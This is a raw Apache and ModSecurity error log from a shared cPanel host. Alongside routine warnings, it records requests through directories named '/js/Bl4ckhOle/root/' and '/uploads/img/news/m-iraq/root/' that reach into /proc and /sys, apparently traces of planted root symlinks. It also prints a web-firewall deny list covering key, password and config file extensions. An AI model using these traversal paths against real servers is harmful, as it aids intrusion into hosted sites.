[Fri Jul 17 08:18:00.301447 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:00.393690 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:00.640690 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:00.735698 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:00.845425 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:00.936945 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:01.121247 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:01.129670 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:01.131203 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:01.270068 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:01.408826 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:01.558926 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:01.573967 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:01.623041 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:01.709325 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:01.799200 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:01.841952 2026] [ssl:error] [pid 2005917:tid 2005917] (70014)End of file found: [client 66.85.158.91:47152] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:18:01.893075 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:02.081367 2026] [security2:error] [pid 1994967:tid 1994967] [client 57.141.18.111:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory84/node0/memory111/node0/cpu2/"] [unique_id "almX4khq6UAnqYko0LpVWQAAABE"]
[Fri Jul 17 08:18:02.081538 2026] [security2:error] [pid 1994967:tid 1994967] [client 57.141.18.111:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory84/node0/memory111/node0/cpu2/"] [unique_id "almX4khq6UAnqYko0LpVWQAAABE"]
[Fri Jul 17 08:18:02.107155 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:02.654869 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:02.893687 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:02.927389 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:03.021180 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:03.205403 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:03.296279 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:03.492417 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:03.632516 2026] [ssl:error] [pid 1993570:tid 1993570] (70014)End of file found: [client 66.85.158.91:47322] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:18:03.759655 2026] [ssl:error] [pid 1994966:tid 1994966] (70014)End of file found: [client 66.85.158.91:47332] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:18:03.770854 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:03.877858 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:03.964442 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:04.065476 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:04.518270 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:04.614758 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:04.737327 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:04.889624 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:05.070998 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:05.165139 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:05.253112 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:05.344055 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:05.435156 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:05.525326 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:05.617369 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:05.707561 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:05.799024 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:05.890442 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:05.987872 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:06.084624 2026] [ssl:error] [pid 1993573:tid 1993573] (70014)End of file found: [client 66.85.158.91:47454] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:18:06.105238 2026] [security2:error] [pid 1993604:tid 1993604] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/automake/AUTHORS"] [unique_id "almX5oha5y5fYnQ1qRrt4wAAAAE"]
[Fri Jul 17 08:18:06.105287 2026] [security2:error] [pid 1993604:tid 1993604] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/automake/AUTHORS"] [unique_id "almX5oha5y5fYnQ1qRrt4wAAAAE"]
[Fri Jul 17 08:18:06.566497 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:06.602331 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:06.719918 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:06.931736 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:07.006068 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:07.173295 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:07.326616 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:47560] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:18:07.357323 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:07.443117 2026] [ssl:error] [pid 1994956:tid 1994956] (70014)End of file found: [client 66.85.158.91:47570] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:18:07.448466 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:07.537888 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:07.858471 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:07.870192 2026] [ssl:error] [pid 1999089:tid 1999089] (70014)End of file found: [client 66.85.158.91:47850] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:18:07.911895 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:07.996422 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:08.009366 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:47884] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:18:08.086278 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:08.449402 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:08.632653 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:08.723579 2026] [core:error] [pid 1994976:tid 1994976] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:03/physical_node/subsystem/rescan
[Fri Jul 17 08:18:08.767438 2026] [security2:error] [pid 1993671:tid 1993671] [client 85.208.96.206:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".xsd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ksoft.web.lk"] [uri "/jrdcbackend/jrdcback0705/vendor/symfony/translation/Resources/schemas/xliff-core-2.0.xsd"] [unique_id "almX6A5GPQ6hs4VrfMo8OgAAAAY"]
[Fri Jul 17 08:18:08.767776 2026] [security2:error] [pid 1993671:tid 1993671] [client 85.208.96.206:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ksoft.web.lk"] [uri "/jrdcbackend/jrdcback0705/vendor/symfony/translation/Resources/schemas/xliff-core-2.0.xsd"] [unique_id "almX6A5GPQ6hs4VrfMo8OgAAAAY"]
[Fri Jul 17 08:18:08.781752 2026] [security2:error] [pid 1993671:tid 1993671] [client 85.208.96.206:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ksoft.web.lk"] [uri "/jrdcbackend/jrdcback0705/vendor/symfony/translation/Resources/schemas/xliff-core-2.0.xsd"] [unique_id "almX6A5GPQ6hs4VrfMo8OgAAAAY"]
[Fri Jul 17 08:18:08.814152 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:08.905732 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:08.997570 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:09.089410 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:09.180763 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:09.270957 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:09.922694 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:09.924029 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:48070] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:18:09.924284 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:48054] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:18:10.090961 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:10.182089 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:10.272311 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:10.728643 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:10.819727 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:10.941001 2026] [ssl:error] [pid 1993584:tid 1993584] (70014)End of file found: [client 66.85.158.91:48136] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:18:11.004233 2026] [core:error] [pid 1993668:tid 1993668] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/drm/card0/device/driver/module/uevent
[Fri Jul 17 08:18:11.277583 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:11.370000 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:11.746614 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:12.100036 2026] [core:error] [pid 1993574:tid 1993574] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/module/cirrus/drivers/pci:cirrus/uevent
[Fri Jul 17 08:18:12.190679 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:12.556936 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:12.739616 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:13.009712 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:13.571030 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:13.658054 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:13.749144 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:14.118325 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:14.390174 2026] [security2:error] [pid 2008451:tid 2008451] [client 40.77.167.55:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ceylondigest-global": Permission denied [hostname "www.ceylondigest.com"] [uri "/index.php"] [unique_id "almX7APhWp7RzB65h36dCQAAAA0"]
[Fri Jul 17 08:18:14.390212 2026] [security2:error] [pid 2008451:tid 2008451] [client 40.77.167.55:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ceylondigest-ip": Permission denied [hostname "www.ceylondigest.com"] [uri "/index.php"] [unique_id "almX7APhWp7RzB65h36dCQAAAA0"]
[Fri Jul 17 08:18:14.399620 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:14.845878 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:15.208559 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:15.300053 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:15.582609 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:15.676297 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:15.764983 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:15.855973 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:16.220580 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:16.408004 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:16.813387 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:16.833374 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:16.878601 2026] [core:error] [pid 2008451:tid 2008451] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/pci/drivers/thunderbolt/module/uevent
[Fri Jul 17 08:18:16.916483 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:16.956106 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:17.050089 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:17.135306 2026] [security2:error] [pid 1994446:tid 1994446] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almX8V2NhE8i6ppze4esCgAAAAs"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 08:18:17.135344 2026] [security2:error] [pid 1994446:tid 1994446] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almX8V2NhE8i6ppze4esCgAAAAs"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 08:18:17.144623 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:17.322764 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:17.504587 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:17.845534 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:18.059714 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:18.426053 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:18.516971 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:18.698199 2026] [core:error] [pid 1994967:tid 1994967] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:09/physical_node/resource4
[Fri Jul 17 08:18:19.155610 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:19.247112 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:19.429226 2026] [core:error] [pid 1993998:tid 1993998] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/module/shpchp/uevent
[Fri Jul 17 08:18:19.793595 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:19.976940 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:20.341191 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:20.392300 2026] [ssl:error] [pid 1999089:tid 1999089] (70014)End of file found: [client 66.85.158.91:45444] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:18:20.577733 2026] [security2:error] [pid 1994967:tid 1994967] [client 216.244.66.247:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.tfab.lk"] [uri "/events/23/eview"] [unique_id "almX9Ehq6UAnqYko0LpVcwAAABE"]
[Fri Jul 17 08:18:20.578132 2026] [security2:error] [pid 1994967:tid 1994967] [client 216.244.66.247:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.tfab.lk"] [uri "/events/23/eview"] [unique_id "almX9Ehq6UAnqYko0LpVcwAAABE"]
[Fri Jul 17 08:18:20.578470 2026] [security2:error] [pid 1994967:tid 1994967] [client 216.244.66.247:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.tfab.lk"] [uri "/events/23/eview"] [unique_id "almX9Ehq6UAnqYko0LpVcwAAABE"]
[Fri Jul 17 08:18:20.903310 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:20.981208 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:21.068557 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:21.158419 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:21.432183 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:21.523606 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:21.615202 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:21.676844 2026] [ssl:error] [pid 1993573:tid 1993573] (70014)End of file found: [client 66.85.158.91:39286] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:18:21.705212 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:22.690747 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:22.706768 2026] [ssl:error] [pid 1994966:tid 1994966] (70014)End of file found: [client 66.85.158.91:39346] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:18:22.893182 2026] [core:error] [pid 1993668:tid 1993668] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup3/subsystem/wakeup7/device/eject
[Fri Jul 17 08:18:22.985132 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup7/subsystem/wakeup3/device/eject
[Fri Jul 17 08:18:23.075042 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:18:23.257564 2026] [core:error] [pid 1993659:tid 1993659] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty47/subsystem/ttyS2/device/driver/uevent
[Fri Jul 17 08:18:23.536116 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
